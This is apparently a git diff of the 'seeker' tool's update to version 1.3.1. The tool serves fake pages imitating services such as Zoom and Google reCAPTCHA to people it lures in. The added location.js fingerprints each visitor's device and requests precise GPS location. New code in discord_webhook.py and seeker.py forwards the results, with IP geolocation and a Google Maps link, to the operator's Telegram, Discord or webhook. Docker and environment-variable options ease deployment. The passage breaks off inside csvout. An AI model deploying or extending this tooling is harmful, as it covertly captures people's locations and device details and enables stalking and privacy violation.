diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000..9495b2f3 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +# These are supported funding model platforms + +github: thewhiteh4t diff --git a/.github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md b/.github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md index 534f5e4f..0accbac1 100644 --- a/.github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md +++ b/.github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md @@ -9,32 +9,23 @@ assignees: '' **Describe the Error / Feature Request** -A clear description of what the bug or feature request is - --- **To Reproduce** -Steps to reproduce the behavior, we cannot fix the issue if we can't reproduce it - --- **Expected behavior** -A clear description of what you expected to happen. - --- **Screenshots** -Add screenshots to help explain your problem. - --- **Please complete the following information :** - - OS: [e.g. Android or iOS] - - OS Version [e.g. Android 11] - - Browser [e.g. chrome, safari] - - Full Browser Version [e.g. 90.04430.91] - - Log files + - OS: + - OS Version: + - Browser: + - Full Browser Version: diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..a1c4e035 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,29 @@ +name: ci + +on: + push: + branches: + - 'master' + +jobs: + docker: + runs-on: ubuntu-latest + steps: + - + name: Set up QEMU + uses: docker/setup-qemu-action@v2 + - + name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - + name: Login to DockerHub + uses: docker/login-action@v2 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - + name: Build and push + uses: docker/build-push-action@v3 + with: + push: true + tags: thewhiteh4t/seeker:latest \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 48a3168d..1bb66d95 100644 --- a/Dockerfile +++ b/Dockerfile @@ -2,11 +2,15 @@ FROM alpine:latest RUN apk update RUN apk add --no-cache \ git \ +bash \ +musl-dev \ +linux-headers \ python3 \ py3-pip gcc \ python3-dev \ php php-json openssh -WORKDIR /root -RUN git clone https://github.com/thewhiteh4t/seeker.git -WORKDIR /root/seeker/ -ENTRYPOINT ["/bin/sh"] +RUN pip3 install requests packaging psutil +WORKDIR /root/seeker +RUN git clone https://github.com/thewhiteh4t/seeker.git . +EXPOSE 8080 +ENTRYPOINT ["/root/seeker/seeker.py"] diff --git a/Dockerfile.dev b/Dockerfile.dev new file mode 100644 index 00000000..b161856a --- /dev/null +++ b/Dockerfile.dev @@ -0,0 +1,16 @@ +FROM alpine:latest +RUN apk update +RUN apk add --no-cache \ +git \ +bash \ +musl-dev \ +linux-headers \ +python3 \ +py3-pip gcc \ +python3-dev \ +php php-json openssh +RUN pip3 install requests packaging psutil +WORKDIR /root/seeker +COPY . . +EXPOSE 8080 +ENTRYPOINT ["/root/seeker/seeker.py"] diff --git a/README.md b/README.md index cc656087..e04b87ca 100755 --- a/README.md +++ b/README.md @@ -85,11 +85,17 @@ Available Templates : * Zoom (Made by @a7maadf) * Google reCAPTCHA (Made by @MrEgyptian) +Create your own template ! +Steps to let you create your template is described in this [how-to](./createTemplate.md) + +Once your template is ready, **do not forget to propose it to the community via a PR (pull request)** + ## Tested On : * Kali Linux * BlackArch Linux * Ubuntu +* Fedora * Kali Nethunter * Termux * Parrot OS @@ -97,7 +103,7 @@ Available Templates : ## Installation -### Kali Linux / Arch Linux / Ubuntu / Parrot OS / Termux +### Kali Linux / Arch Linux / Ubuntu / Fedora / Parrot OS / Termux ```bash git clone https://github.com/thewhiteh4t/seeker.git @@ -137,14 +143,47 @@ ngrok http 8080 ```bash python3 seeker.py -h -usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] +usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE] [-d] [--telegram token:chatId] [--webhook WEBHOOK] options: - -h, --help show this help message and exit - -k KML, --kml KML KML filename - -p PORT, --port PORT Web server port [ Default : 8080 ] - -u, --update Check for updates - -v, --version Prints version + -h, --help show this help message and exit + -k KML, --kml KML KML filename + -p PORT, --port PORT Web server port [ Default : 8080 ] + -u, --update Check for updates + -v, --version Prints version + -t TEMPLATE, --template TEMPLATE Auto choose the template with the given index + -d, --debugHTTP Disable auto http --> https redirection for testing purposes + (only works for the templates having index_temp.html file) + --telegram Send info to a telegram bot, provide telegram token and chat to use + format = token:chatId separated by a colon + --webhook Send events to a webhook endpoint to be processed + Note : endpoint must be unauthenticated and accept POST request + +######################### +# Environment Variables # +######################### + +Some of the options above can also be enabled via environment variables, to ease deployment. +Other parameters can be provided via environment variables to avoid interactive mode. + +Variables: + DEBUG_HTTP Same as -d, --debugHTTP + PORT Same as -p, --port + TEMPLATE Same as -t, --template + TITLE Provide the group title or the page title + REDIRECT Provide the URL to redirect the user to, after the job is done + IMAGE Provide the image to use, can either be remote (http or https) or local + Note : Remote image will be downloaded locally during the startup + DESC Provide the description of the item (group or webpage depending on the template) + SITENAME Provide the name of the website + DISPLAY_URL Provide the URL to display on the page + MEM_NUM Provide the number of group membres (Telegram so far) + ONLINE_NUM Provide the number of the group online members (Telegram so far) + TELEGRAM Provide telegram token and chat to use to send info to a telegram bot + format = token:chatId separated by a colon + WEBHOOK Provide the webhook url to forward the events to + Note : endpoint should be unauthenticated and accept POST method + ################## # Usage Examples # @@ -167,6 +206,9 @@ $ python3 seeker.py -k $ python3 seeker.py -p 1337 $ ./ngrok http 1337 +# Pre-select a specific template +$ python3 seeker.py -t 1 + ################ # Docker Usage # ################ @@ -192,6 +234,6 @@ as an alterntive to ngrok **YouTube** - - + + diff --git a/createTemplate.md b/createTemplate.md new file mode 100644 index 00000000..d2910728 --- /dev/null +++ b/createTemplate.md @@ -0,0 +1,39 @@ +# How-to create template + +Once your template is working perfect, do not forget to submit it to the community via a Pull Request! + +## HTML Files +You are free to implement any HTML + CSS files to get the look and feel you want, however, do not forget to do the bridge with the core javascript part described in the next section. + +## Javascript +You can use any JS you need, but to do the link with the core files, ensure you have the following directive on your main html page: +`` +This file must not be present, and will be copied by seeker at template startup. + +The `information()` function can be called anywhere, to send browser/computer data (without location). + +For the location, the `location` function must be called (on a button click or another action), it takes two parameters. The first one is the function to call once the location is sent, and the other is the function to call when the user declines location access. + +``` +View in Telegram +Or for a redirect: + +``` + +## Template files +There is a unique `templates.json` file, add another entry to this file, at the end. +``` + , + { + "name": "Your template name", + "dir_name": "folder where your template code is", + "import_file": "mod_yourtemplate" + } +``` + +## Python file +In the `template` folder, you will find a set of mod_*.py file, you can copy and adapt an existing one and report the name in the `templates.json` file described above. +This python file is used to replace variables, and prepare files at template startup. + +## PHP file +PHP side is managed by seeker, do not include any PHP file diff --git a/discord_webhook.py b/discord_webhook.py new file mode 100644 index 00000000..2c6de32f --- /dev/null +++ b/discord_webhook.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 + +import requests +from json import dumps, loads + + +def discord_sender(url, msg_type, content): + json_str = dumps(content) + json_content = loads(json_str) + if msg_type == 'device_info': + info_message = { + "content": None, + "embeds": [ + { + "title": "Device Information", + "color": 65280, + "fields": [ + { + "name": "OS", + "value": json_content['os'] + }, + { + "name": "Platform", + "value": json_content['platform'] + }, + { + "name": "Browser", + "value": json_content['browser'] + }, + { + "name": "GPU Vendor", + "value": json_content['vendor'] + }, + { + "name": "GPU", + "value": json_content['render'] + }, + { + "name": "CPU Cores", + "value": json_content['cores'] + }, + { + "name": "RAM", + "value": json_content['ram'] + }, + { + "name": "Public IP", + "value": json_content['ip'] + }, + { + "name": "Resolution", + "value": f'{json_content["ht"]}x{json_content["wd"]}' + } + ] + } + ] + } + requests.post(url, json=info_message, timeout=10) + + if msg_type == 'ip_info': + ip_info_msg = { + "content": None, + "embeds": [ + { + "title": "IP Information", + "color": 65280, + "fields": [ + { + "name": "Continent", + "value": json_content['continent'] + }, + { + "name": "Country", + "value": json_content['country'] + }, + { + "name": "Region", + "value": json_content['region'] + }, + { + "name": "City", + "value": json_content['city'] + }, + { + "name": "Org", + "value": json_content['org'] + }, + { + "name": "ISP", + "value": json_content['isp'] + } + ] + } + ] + } + requests.post(url, json=ip_info_msg, timeout=10) + + if msg_type == 'location': + location_msg = { + "content": None, + "embeds": [ + { + "title": "Location Information", + "color": 65280, + "fields": [ + { + "name": "Latitude", + "value": json_content['lat'] + }, + { + "name": "Longitude", + "value": json_content['lon'] + }, + { + "name": "Accuracy", + "value": json_content['acc'] + }, + { + "name": "Altitude", + "value": json_content['alt'] + }, + { + "name": "Direction", + "value": json_content['dir'] + }, + { + "name": "Speed", + "value": json_content['spd'] + } + ] + } + ] + } + requests.post(url, json=location_msg, timeout=10) + + if msg_type == 'url': + url_msg = { + "content": json_content['url'], + "embeds": None, + "attachments": [] + } + requests.post(url, json=url_msg, timeout=10) + + if msg_type == 'error': + error_msg = { + "content": None, + "embeds": [ + { + "color": 16711680, + "fields": [ + { + "name": "Error", + "value": json_content['error'] + } + ] + } + ], + "attachments": [] + } + requests.post(url, json=error_msg, timeout=10) diff --git a/install.sh b/install.sh index d21525f2..4290aed9 100755 --- a/install.sh +++ b/install.sh @@ -18,77 +18,97 @@ status_check() { debian_install() { echo -e '=====================\nINSTALLING FOR DEBIAN\n=====================\n' > "$ILOG" - echo -ne 'Python3\r' - sudo apt -y install python3 python3-pip &>> "$ILOG" - status_check Python3 - echo -e '\n--------------------\n' >> "$ILOG" - - echo -ne 'PIP\r' - sudo apt -y install python3-pip &>> "$ILOG" - status_check Pip - echo -e '\n--------------------\n' >> "$ILOG" - - echo -ne 'PHP\r' - sudo apt -y install php &>> "$ILOG" - status_check PHP - echo -e '\n--------------------\n' >> "$ILOG" + pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php" + + install_cmd() { + echo -ne '$1\r' + sudo apt -y install $1 &>> "$ILOG" + status_check $1 + echo -e '\n--------------------\n' >> "$ILOG" + } + + for pkg_name in $pkgs; do + install_cmd $pkg_name + done +} + +fedora_install() { + echo -e '=====================\nINSTALLING FOR FEDORA\n=====================\n' > "$ILOG" + + pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php" + + install_cmd() { + echo -ne "$1\r" + sudo dnf install $1 -y &>> "$ILOG" + status_check $1 + echo -e '\n--------------------\n' >> "$ILOG" + } + + for pkg_name in $pkgs; do + install_cmd $pkg_name + done } termux_install() { echo -e '=====================\nINSTALLING FOR TERMUX\n=====================\n' > "$ILOG" - echo -ne 'Python3\r' - apt -y install python &>> "$ILOG" - status_check Python3 - echo -e '\n--------------------\n' >> "$ILOG" - - echo -ne 'PHP\r' - apt -y install php &>> "$ILOG" - status_check PHP - echo -e '\n--------------------\n' >> "$ILOG" + pkgs="python php" + pip_pkgs="requests packaging psutil" + + install_cmd() { + echo -ne "$1\r" + apt -y install $1 &>> "$ILOG" + status_check $1 + echo -e '\n--------------------\n' >> "$ILOG" + } + + install_pip() { + echo -ne "$1\r" + pip install -U $1 &>> "$ILOG" + status_check $1 + echo -e '\n--------------------\n' >> "$ILOG" + } + + for pkg_name in $pkgs; do + install_cmd $pkg_name + done + + for pkg_name in $pip_pkgs; do + install_pip $pkg_name + done } arch_install() { echo -e '=========================\nINSTALLING FOR ARCH LINUX\n=========================\n' > "$ILOG" - echo -ne 'Python3\r' - yes | sudo pacman -S python3 python-pip --needed &>> "$ILOG" - status_check Python3 - echo -e '\n--------------------\n' >> "$ILOG" + install_cmd() { + echo -ne "$1\r" + yes | sudo pacman -S $1 --needed &>> "$ILOG" + status_check $1 + echo -e '\n--------------------\n' >> "$ILOG" + } - echo -ne 'PIP\r' - yes | sudo pacman -S python-pip --needed &>> "$ILOG" - status_check Pip - echo -e '\n--------------------\n' >> "$ILOG" + pkgs="python3 python-pip python-requests python-packaging python-psutil php" - echo -ne 'PHP\r' - yes | sudo pacman -S php --needed &>> "$ILOG" - status_check PHP - echo -e '\n--------------------\n' >> "$ILOG" + for pkg_name in $pkgs; do + install_cmd $pkg_name + done } echo -e '[!] Installing Dependencies...\n' if [ -f '/etc/arch-release' ]; then arch_install +elif [ -f '/etc/fedora-release' ]; then + fedora_install else - if [ "$OSTYPE" == 'linux-android' ]; then - termux_install - else + if [ -z "${TERMUX_VERSION}" ]; then debian_install + else + termux_install fi fi -echo -ne 'Requests\r' -pip3 install requests &>> "$ILOG" -status_check Requests -echo -e '\n--------------------\n' >> "$ILOG" - -echo -ne 'Packaging\r' -pip3 install packaging &>> "$ILOG" -status_check Packaging -echo -e '\n--------------------\n' >> "$ILOG" - echo -e '=========\nCOMPLETED\n=========\n' >> "$ILOG" echo -e '\n[+] Log Saved :' "$ILOG" diff --git a/js/location.js b/js/location.js new file mode 100644 index 00000000..8ea79168 --- /dev/null +++ b/js/location.js @@ -0,0 +1,178 @@ +function information() { + var ptf = navigator.platform; + var cc = navigator.hardwareConcurrency; + var ram = navigator.deviceMemory; + var ver = navigator.userAgent; + var str = ver; + var os = ver; + //gpu + var canvas = document.createElement('canvas'); + var gl; + var debugInfo; + var ven; + var ren; + + + if (cc == undefined) { + cc = 'Not Available'; + } + + //ram + if (ram == undefined) { + ram = 'Not Available'; + } + + //browser + if (ver.indexOf('Firefox') != -1) { + str = str.substring(str.indexOf(' Firefox/') + 1); + str = str.split(' '); + brw = str[0]; + } + else if (ver.indexOf('Chrome') != -1) { + str = str.substring(str.indexOf(' Chrome/') + 1); + str = str.split(' '); + brw = str[0]; + } + else if (ver.indexOf('Safari') != -1) { + str = str.substring(str.indexOf(' Safari/') + 1); + str = str.split(' '); + brw = str[0]; + } + else if (ver.indexOf('Edge') != -1) { + str = str.substring(str.indexOf(' Edge/') + 1); + str = str.split(' '); + brw = str[0]; + } + else { + brw = 'Not Available' + } + + //gpu + try { + gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); + } + catch (e) { } + if (gl) { + debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); + ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); + ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); + } + if (ven == undefined) { + ven = 'Not Available'; + } + if (ren == undefined) { + ren = 'Not Available'; + } + + var ht = window.screen.height + var wd = window.screen.width + //os + os = os.substring(0, os.indexOf(')')); + os = os.split(';'); + os = os[1]; + if (os == undefined) { + os = 'Not Available'; + } + os = os.trim(); + // + $.ajax({ + type: 'POST', + url: 'info_handler.php', + data: { Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os }, + success: function () { }, + mimeType: 'text' + }); +} + + + +function locate(callback, errCallback) { + if (navigator.geolocation) { + var optn = { enableHighAccuracy: true, timeout: 30000, maximumage: 0 }; + navigator.geolocation.getCurrentPosition(showPosition, showError, optn); + } + + function showError(error) { + var err_text; + var err_status = 'failed'; + + switch (error.code) { + case error.PERMISSION_DENIED: + err_text = 'User denied the request for Geolocation'; + break; + case error.POSITION_UNAVAILABLE: + err_text = 'Location information is unavailable'; + break; + case error.TIMEOUT: + err_text = 'The request to get user location timed out'; + alert('Please set your location mode on high accuracy...'); + break; + case error.UNKNOWN_ERROR: + err_text = 'An unknown error occurred'; + break; + } + + $.ajax({ + type: 'POST', + url: 'error_handler.php', + data: { Status: err_status, Error: err_text }, + success: errCallback(error, err_text), + mimeType: 'text' + }); + } + function showPosition(position) { + var lat = position.coords.latitude; + if (lat) { + lat = lat + ' deg'; + } + else { + lat = 'Not Available'; + } + var lon = position.coords.longitude; + if (lon) { + lon = lon + ' deg'; + } + else { + lon = 'Not Available'; + } + var acc = position.coords.accuracy; + if (acc) { + acc = acc + ' m'; + } + else { + acc = 'Not Available'; + } + var alt = position.coords.altitude; + if (alt) { + alt = alt + ' m'; + } + else { + alt = 'Not Available'; + } + var dir = position.coords.heading; + if (dir) { + dir = dir + ' deg'; + } + else { + dir = 'Not Available'; + } + var spd = position.coords.speed; + if (spd) { + spd = spd + ' m/s'; + } + else { + spd = 'Not Available'; + } + + var ok_status = 'success'; + + $.ajax({ + type: 'POST', + url: 'result_handler.php', + data: { Status: ok_status, Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd }, + success: callback, + mimeType: 'text' + }); + }; +} + diff --git a/metadata.json b/metadata.json index ebb34389..4a4cfd71 100644 --- a/metadata.json +++ b/metadata.json @@ -1,7 +1,7 @@ { "name": "seeker", "author": "thewhiteh4t", - "version": "1.2.8", + "version": "1.3.1", "twitter": "https://twitter.com/thewhiteh4t", "comms": "https://twc1rcle.com/" -} \ No newline at end of file +} diff --git a/template/php/error.php b/php/error.php similarity index 100% rename from template/php/error.php rename to php/error.php diff --git a/template/php/info.php b/php/info.php similarity index 100% rename from template/php/info.php rename to php/info.php diff --git a/template/php/result.php b/php/result.php similarity index 100% rename from template/php/result.php rename to php/result.php diff --git a/seeker.py b/seeker.py index b48f6e38..6d8dde63 100755 --- a/seeker.py +++ b/seeker.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 -VERSION = '1.2.8' +VERSION = '1.3.1' R = '\033[31m' # red G = '\033[32m' # green @@ -9,10 +9,13 @@ Y = '\033[33m' # yellow import sys +import utils import argparse import requests import traceback -from os import path, kill, mkdir +import shutil +from time import sleep +from os import path, kill, mkdir, getenv, environ, remove, devnull from json import loads, decoder from packaging import version @@ -21,12 +24,25 @@ parser.add_argument('-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]') parser.add_argument('-u', '--update', action='store_true', help='Check for updates') parser.add_argument('-v', '--version', action='store_true', help='Prints version') +parser.add_argument('-t', '--template', type=int, help='Load template and loads parameters from env variables') +parser.add_argument('-d', '--debugHTTP', type=bool, default=False, help='Disable HTTPS redirection for testing only') +parser.add_argument('-tg', '--telegram', help='Telegram bot API token [ Format -> token:chatId ]') +parser.add_argument('-wh', '--webhook', help='Webhook URL [ POST method & unauthenticated ]') args = parser.parse_args() kml_fname = args.kml -port = args.port +port = getenv('PORT') or args.port chk_upd = args.update print_v = args.version +telegram = getenv('TELEGRAM') or args.telegram +webhook = getenv('WEBHOOK') or args.webhook + +if (getenv('DEBUG_HTTP') and (getenv('DEBUG_HTTP') == '1' or getenv('DEBUG_HTTP').lower() == 'true')) or args.debugHTTP is True: + environ['DEBUG_HTTP'] = '1' +else: + environ['DEBUG_HTTP'] = '0' + +templateNum = int(getenv('TEMPLATE')) if getenv('TEMPLATE') and getenv('TEMPLATE').isnumeric() else args.template path_to_script = path.dirname(path.realpath(__file__)) @@ -42,6 +58,7 @@ TEMP_KML = f'{path_to_script}/template/sample.kml' META_FILE = f'{path_to_script}/metadata.json' META_URL = 'https://raw.githubusercontent.com/thewhiteh4t/seeker/master/metadata.json' +PID_FILE = f'{path_to_script}/pid' if not path.isdir(LOG_DIR): mkdir(LOG_DIR) @@ -49,9 +66,10 @@ if not path.isdir(DB_DIR): mkdir(DB_DIR) + def chk_update(): try: - print('> Fetching Metadata...', end='', flush=True) + print('> Fetching Metadata...', end='') rqst = requests.get(META_URL, timeout=5) meta_sc = rqst.status_code if meta_sc == 200: @@ -64,7 +82,7 @@ def chk_update(): else: print('> Already up to date.') except Exception as exc: - print(f'Exception : {str(exc)}') + utils.print(f'Exception : {str(exc)}') if chk_upd is True: @@ -72,16 +90,22 @@ def chk_update(): sys.exit() if print_v is True: - print(VERSION) + utils.print(VERSION) sys.exit() +import socket import importlib from csv import writer -from time import sleep import subprocess as subp from ipaddress import ip_address from signal import SIGTERM +# temporary workaround for psutil exception on termux +with open(devnull, 'w') as nf: + sys.stderr = nf + import psutil +sys.stderr = sys.__stderr__ + def banner(): with open(META_FILE, 'r') as metadata: @@ -96,15 +120,37 @@ def banner(): \___ \ \ ___/\ ___/ | < \ ___/ | | \/ /____ > \___ >\___ >|__|_ \ \___ >|__| \/ \/ \/ \/ \/''' - print(f'{G}{art}{W}\n') - print(f'{G}[>] {C}Created By : {W}thewhiteh4t') - print(f'{G} |---> {C}Twitter : {W}{twitter_url}') - print(f'{G} |---> {C}Community : {W}{comms_url}') - print(f'{G}[>] {C}Version : {W}{VERSION}\n') + utils.print(f'{G}{art}{W}\n') + utils.print(f'{G}[>] {C}Created By : {W}thewhiteh4t') + utils.print(f'{G} |---> {C}Twitter : {W}{twitter_url}') + utils.print(f'{G} |---> {C}Community : {W}{comms_url}') + utils.print(f'{G}[>] {C}Version : {W}{VERSION}\n') + + +def send_webhook(content, msg_type): + if webhook is not None: + if not webhook.lower().startswith('http://') and not webhook.lower().startswith('https://'): + utils.print(f'{R}[-] {C}Protocol missing, include http:// or https://{W}') + return + if webhook.lower().startswith('https://discord.com/api/webhooks'): + from discord_webhook import discord_sender + discord_sender(webhook, msg_type, content) + else: + requests.post(webhook, json=content) + + +def send_telegram(content, msg_type): + if telegram is not None: + tmpsplit = telegram.split(':') + if len(tmpsplit) < 3: + utils.print(f'{R}[-] {C}Telegram API token invalid! Format -> token:chatId{W}') + return + from telegram_api import tgram_sender + tgram_sender(msg_type, content, tmpsplit) def template_select(site): - print(f'{Y}[!] Select a Template :{W}\n') + utils.print(f'{Y}[!] Select a Template :{W}\n') with open(TEMPLATES_JSON, 'r') as templ: templ_info = templ.read() @@ -113,69 +159,107 @@ def template_select(site): for item in templ_json['templates']: name = item['name'] - print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}') + utils.print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}') try: - selected = int(input(f'{G}[>] {W}')) + selected = -1 + if templateNum is not None: + if templateNum >= 0 and templateNum < len(templ_json['templates']): + selected = templateNum + else: + selected = int(input(f'{G}[>] {W}')) if selected < 0: print() - print(f'{R}[-] {C}Invalid Input!{W}') + utils.print(f'{R}[-] {C}Invalid Input!{W}') sys.exit() except ValueError: print() - print(f'{R}[-] {C}Invalid Input!{W}') + utils.print(f'{R}[-] {C}Invalid Input!{W}') sys.exit() try: site = templ_json['templates'][selected]['dir_name'] except IndexError: print() - print(f'{R}[-] {C}Invalid Input!{W}') + utils.print(f'{R}[-] {C}Invalid Input!{W}') sys.exit() print() - print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}') - - module = templ_json['templates'][selected]['module'] - if module is True: - imp_file = templ_json['templates'][selected]['import_file'] - importlib.import_module(f'template.{imp_file}') - else: - pass + utils.print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}') + + imp_file = templ_json['templates'][selected]['import_file'] + importlib.import_module(f'template.{imp_file}') + shutil.copyfile('php/error.php', f'template/{templ_json["templates"][selected]["dir_name"]}/error_handler.php') + shutil.copyfile('php/info.php', f'template/{templ_json["templates"][selected]["dir_name"]}/info_handler.php') + shutil.copyfile('php/result.php', f'template/{templ_json["templates"][selected]["dir_name"]}/result_handler.php') + jsdir = f'template/{templ_json["templates"][selected]["dir_name"]}/js' + if not path.isdir(jsdir): + mkdir(jsdir) + shutil.copyfile('js/location.js', jsdir + '/location.js') return site def server(): print() - preoc = False - print(f'{G}[+] {C}Port : {W}{port}\n') - print(f'{G}[+] {C}Starting PHP Server...{W}', end='', flush=True) + port_free = False + utils.print(f'{G}[+] {C}Port : {W}{port}\n') + utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='') cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/'] - with open(LOG_FILE, 'w+') as phplog: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + try: + sock.connect(('127.0.0.1', port)) + except ConnectionRefusedError: + port_free = True + + if not port_free and path.exists(PID_FILE): + with open(PID_FILE, 'r') as pid_info: + pid = int(pid_info.read().strip()) + try: + old_proc = psutil.Process(pid) + utils.print(f'{C}[ {R}✘{C} ]{W}') + utils.print(f'{Y}[!] Old instance of php server found, restarting...{W}') + utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='') + try: + sleep(1) + if old_proc.status() != 'running': + old_proc.kill() + else: + utils.print(f'{C}[ {R}✘{C} ]{W}') + utils.print(f'{R}[-] {C}Unable to kill php server process, kill manually{W}') + sys.exit() + except psutil.NoSuchProcess: + pass + except psutil.NoSuchProcess: + utils.print(f'{C}[ {R}✘{C} ]{W}') + utils.print(f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}') + sys.exit() + elif not port_free and not path.exists(PID_FILE): + utils.print(f'{C}[ {R}✘{C} ]{W}') + utils.print(f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}') + sys.exit() + elif port_free: + pass + + with open(LOG_FILE, 'w') as phplog: proc = subp.Popen(cmd, stdout=phplog, stderr=phplog) + with open(PID_FILE, 'w') as pid_out: + pid_out.write(str(proc.pid)) + sleep(3) - phplog.seek(0) - if 'Address already in use' in phplog.readline(): - preoc = True + try: php_rqst = requests.get(f'http://127.0.0.1:{port}/index.html') php_sc = php_rqst.status_code if php_sc == 200: - if preoc: - print(f'{C}[ {G}✔{C} ]{W}') - print(f'{Y}[!] Server is already running!{W}') - print() - else: - print(f'{C}[ {G}✔{C} ]{W}') - print() + utils.print(f'{C}[ {G}✔{C} ]{W}') + print() else: - print(f'{C}[ {R}Status : {php_sc}{C} ]{W}') - cl_quit(proc) + utils.print(f'{C}[ {R}Status : {php_sc}{C} ]{W}') + cl_quit() except requests.ConnectionError: - print(f'{C}[ {R}✘{C} ]{W}') - cl_quit(proc) - return proc + utils.print(f'{C}[ {R}✘{C} ]{W}') + cl_quit() def wait(): @@ -184,7 +268,7 @@ def wait(): sleep(2) size = path.getsize(RESULT) if size == 0 and printed is False: - print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n') + utils.print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n') printed = True if size > 0: data_parser() @@ -194,11 +278,13 @@ def wait(): def data_parser(): data_row = [] with open(INFO, 'r') as info_file: - info_file = info_file.read() + info_content = info_file.read() + if not info_content or info_content.strip() == '': + return try: - info_json = loads(info_file) + info_json = loads(info_content) except decoder.JSONDecodeError: - print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}') + utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}') else: var_os = info_json['os'] var_platform = info_json['platform'] @@ -211,8 +297,7 @@ def data_parser(): var_ip = info_json['ip'] data_row.extend([var_os, var_platform, var_cores, var_ram, var_vendor, var_render, var_res, var_browser, var_ip]) - - print(f'''{Y}[!] Device Information :{W} + device_info = f'''{Y}[!] Device Information :{W} {G}[+] {C}OS : {W}{var_os} {G}[+] {C}Platform : {W}{var_platform} @@ -223,10 +308,13 @@ def data_parser(): {G}[+] {C}Resolution : {W}{var_res} {G}[+] {C}Browser : {W}{var_browser} {G}[+] {C}Public IP : {W}{var_ip} -''') +''' + utils.print(device_info) + send_telegram(info_json, 'device_info') + send_webhook(info_json, 'device_info') if ip_address(var_ip).is_private: - print(f'{Y}[!] Skipping IP recon because IP address is private{W}') + utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}') else: rqst = requests.get(f'https://ipwhois.app/json/{var_ip}') s_code = rqst.status_code @@ -242,8 +330,7 @@ def data_parser(): var_isp = str(data['isp']) data_row.extend([var_continent, var_country, var_region, var_city, var_org, var_isp]) - - print(f'''{Y}[!] IP Information :{W} + ip_info = f'''{Y}[!] IP Information :{W} {G}[+] {C}Continent : {W}{var_continent} {G}[+] {C}Country : {W}{var_country} @@ -251,14 +338,17 @@ def data_parser(): {G}[+] {C}City : {W}{var_city} {G}[+] {C}Org : {W}{var_org} {G}[+] {C}ISP : {W}{var_isp} -''') +''' + utils.print(ip_info) + send_telegram(data, 'ip_info') + send_webhook(data, 'ip_info') with open(RESULT, 'r') as result_file: results = result_file.read() try: result_json = loads(results) except decoder.JSONDecodeError: - print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}') + utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}') else: status = result_json['status'] if status == 'success': @@ -270,8 +360,7 @@ def data_parser(): var_spd = result_json['spd'] data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd]) - - print(f'''{Y}[!] Location Information :{W} + loc_info = f'''{Y}[!] Location Information :{W} {G}[+] {C}Latitude : {W}{var_lat} {G}[+] {C}Longitude : {W}{var_lon} @@ -279,15 +368,23 @@ def data_parser(): {G}[+] {C}Altitude : {W}{var_alt} {G}[+] {C}Direction : {W}{var_dir} {G}[+] {C}Speed : {W}{var_spd} -''') - - print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}') +''' + utils.print(loc_info) + send_telegram(result_json, 'location') + send_webhook(result_json, 'location') + gmaps_url = f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}' + gmaps_json = {'url': f'https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'} + utils.print(gmaps_url) + send_telegram(gmaps_json, 'url') + send_webhook(gmaps_json, 'url') if kml_fname is not None: kmlout(var_lat, var_lon) else: var_err = result_json['error'] - print(f'{R}[-] {C}{var_err}\n') + utils.print(f'{R}[-] {C}{var_err}\n') + send_telegram(result_json, 'error') + send_webhook(result_json, 'error') csvout(data_row) clear() @@ -304,15 +401,15 @@ def kmlout(var_lat, var_lon): with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen: kml_gen.write(kml_sample_data) - print(f'{Y}[!] KML File Generated!{W}') - print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml') + utils.print(f'{Y}[!] KML File Generated!{W}') + utils.print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml') def csvout(row): with open(DATA_FILE, 'a') as csvfile: csvwriter = writer(csvfile) 